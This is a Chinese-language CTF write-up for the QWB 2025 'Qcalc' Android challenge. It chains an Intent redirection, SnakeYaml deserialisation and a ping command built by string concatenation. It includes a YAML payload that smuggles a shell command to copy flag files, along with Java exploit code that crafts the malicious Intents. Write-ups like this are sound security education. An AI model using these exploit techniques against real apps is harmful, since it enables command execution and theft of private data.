跳转至

强网杯2025

Qcalc

赛题下载

利用点

  1. 后门类执行指令

    Java
    package com.qinquang.calc;
    
    import android.util.Log;
    
    /* loaded from: classes3.dex */
    public final class PingUtil {
        private static final String TAG = "PingUtil";
    
        public PingUtil(String address) {
            try {
                Log.d(TAG, "PingUtil constructor called with: " + address);
                String pingCmd = "ping -c 1 " + address;
                Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", pingCmd});
                Log.d(TAG, "Command executed: " + pingCmd);
                process.waitFor();
            } catch (Exception e) {
                Log.e(TAG, "Error executing ping command", e);
            }
        }
    }
    

    这个类中的构造函数会接收一个字符串,并接在ping -c 1后被执行

    为什么是-c
    • -c 告诉 shell(这里是 /system/bin/sh从后面的字符串中读取并执行命令,而不是进入交互模式。
  2. yaml反序列化漏洞(SnakeYaml)

    原理:SnakeYaml 反序列化

    源码:

    Java
    public class HistoryManager {
        public static final String HISTORY_FILE_NAME = "history.yml";
        //省略
        public List<String> loadHistory() {
            Yaml yaml = new Yaml();
            try {
                FileInputStream fis = this.context.openFileInput(HISTORY_FILE_NAME);
                InputStreamReader reader = new InputStreamReader(fis);
                try {
                    Object result = yaml.load(reader);
    
  3. 非法Intent提权

    在MainActivity中onEqual如果出现异常并且有fallbackIntent便会进入BridgeActivity

    Java
    public void onEqual(View view) {
            char c;
            if (this.input.isEmpty() || this.operator.isEmpty()) {
                return;
            }
            double secondNum = Double.parseDouble(this.input);
            double result = 0.0d;
            String expression = this.firstNum + " " + this.operator + " " + secondNum;
            try {
                String str = this.operator;
                switch (str.hashCode()) {
            // 省略
                    case 3:
                        result = this.firstNum / secondNum;
                        if (!Double.isInfinite(result) && !Double.isNaN(result)) {
                            break;
                        } else {
                            throw new ArithmeticException("Division by zero detected");
                        }
                }
                String fullCalculation = expression + " = " + result;
                this.tvInput.setText(String.valueOf(result));
                this.historyManager.saveHistory(fullCalculation);
            } catch (Exception unused) {
                Log.d("QiangCalc", "Exception during calculation: " + unused.getMessage());
                unused.printStackTrace();
                Intent fallbackIntent = (Intent) getIntent().getParcelableExtra("fallback");
                Log.d("QiangCalc", "Fallback intent: " + (fallbackIntent != null ? "found" : "not found"));
                if (fallbackIntent != null) {
                    Log.d("QiangCalc", "Fallback intent data: " + fallbackIntent.getData());
                    Log.d("QiangCalc", "Fallback intent extras: " + fallbackIntent.getExtras());
                    fallbackIntent.addFlags(268435456);
                    ContentValues bridgeValues = new ContentValues();
                    bridgeValues.put("action", "process");
                    bridgeValues.put(TypedValues.AttributesType.S_TARGET, "history");
                    bridgeValues.put("timestamp", Long.valueOf(System.currentTimeMillis()));
                    fallbackIntent.putExtra("bridge_values", bridgeValues);
                    String signature = getIntent().getStringExtra("calc_signature");
                    fallbackIntent.putExtra("bridge_signature", signature);
                    Intent bridgeIntent = new Intent(this, BridgeActivity.class);
                    bridgeIntent.putExtra("origIntent", fallbackIntent);
                    startActivity(bridgeIntent);
                    finish();
                }
                this.tvInput.setText("Error");
            }
            this.input = "";
            this.operator = "";
        }
    

    BridgeActivity检验了一系列条件,都符合时给该Intent读写history.yml权限

    Java
                if (values != null && processContentValues(values)) {
                    String token = origIntent.getStringExtra("bridge_token");
                    if (!validateToken(token)) {
                        Log.e(TAG, "Invalid token");
                        finish();
                        return;
                    }
                    File historyFile = new File(getFilesDir(), HistoryManager.HISTORY_FILE_NAME);
                    Uri historyUri = Uri.parse("content://com.qinquang.calc/" + historyFile.getName());
                    origIntent.setData(historyUri);
                    origIntent.addFlags(3);
                    startActivity(origIntent);
    

攻击链

  1. 应用除零异常,将构造的恶意Intent传入桥接,往history.yml中写入恶意代码

    Bash
    "!!com.qinquang.calc.PingUtil [ '8.8.8.8;cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml' ]"
    
  2. 通过除零异常,传入历史记录Intent,触发loadHistory,yaml反序列化执行

    Bash
    ping -c 1 8.8.8.8;cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml
    
  3. 再次应用除零异常,读取history.yml

exp编写

这里仅给出关键代码片段

传入恶意intent
private void readResult() {
    Intent payloadIntent = new Intent();
    // 如果是读取HistoryActivity改为("com.qinquang.calc", "com.qinquang.calc.HistoryActivity")即可
    payloadIntent.setClassName(getPackageName(), "com.n0rth5ea.creakcluc.PermissionReceiverActivity");
    payloadIntent.putExtra("read_mode", true); // 以读取模式为例

    // 构造bridge_values
    ContentValues values = new ContentValues();
    values.put("action", "process");
    values.put("target", "history");
    payloadIntent.putExtra("bridge_values", values);

    // 生成token
    String token = "aaf4b4eb2510cf9e";
    payloadIntent.putExtra("bridge_token", token);

    // 设置flags
    payloadIntent.setFlags(Intent.FLAG_FROM_BACKGROUND);

    // 构造触发Intent
    Intent triggerIntent = new Intent(Intent.ACTION_VIEW);
    triggerIntent.setData(Uri.parse("qiangcalc://calculate?expression=10/0"));
    triggerIntent.putExtra("fallback", payloadIntent);
    triggerIntent.setPackage("com.qinquang.calc");

    try {
        startActivity(triggerIntent);
        log("[+] Read request sent. Check Logcat for the flag.");
    } catch (Exception e) {
        log("[!] Failed to send read request: " + e.getMessage());
    }
}
写入和读取intent设计
Intent intent = getIntent();
if (intent != null && intent.getData() != null) {
    Uri historyUri = intent.getData();
    boolean isReadMode = intent.getBooleanExtra("read_mode", false);

    if (isReadMode) {
        // 读取模式:从history.yml读取flag
        Log.d(TAG, "Read mode: Reading flag from history.yml");
        try (InputStream is = getContentResolver().openInputStream(historyUri);
             BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8))) {

            StringBuilder flagContent = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) {
                flagContent.append(line);
            }
            String flag = flagContent.toString();

            Log.d(TAG, "SUCCESS! Flag captured: " + flag);
            Toast.makeText(this, "Flag captured! Check Logcat.", Toast.LENGTH_LONG).show();
            MainActivity.flag = flag;

        } catch (Exception e) {
            Log.e(TAG, "Failed to read from history.yml", e);
            Toast.makeText(this, "Failed to read flag: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }

    } else {
        // 写入模式:写入恶意YAML到history.yml
        Log.d(TAG, "Write mode: Writing malicious YAML to history.yml");

        // 构造恶意YAML,使用PingUtil执行命令将flag写入history.yml
        String maliciousYaml = "!!com.qinquang.calc.PingUtil [ '8.8.8.8; cat /data/data/com.qinquang.calc/flag-*.txt > /data/data/com.qinquang.calc/files/history.yml' ]";

        try (OutputStream os = getContentResolver().openOutputStream(historyUri)) {
            if (os != null) {
                os.write(maliciousYaml.getBytes(StandardCharsets.UTF_8));
                Log.d(TAG, "Successfully wrote malicious YAML to history.yml");
                Toast.makeText(this, "Payload written successfully", Toast.LENGTH_SHORT).show();
            }
        } catch (Exception e) {
            Log.e(TAG, "Failed to write to history.yml", e);
            Toast.makeText(this, "Failed to write payload: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
}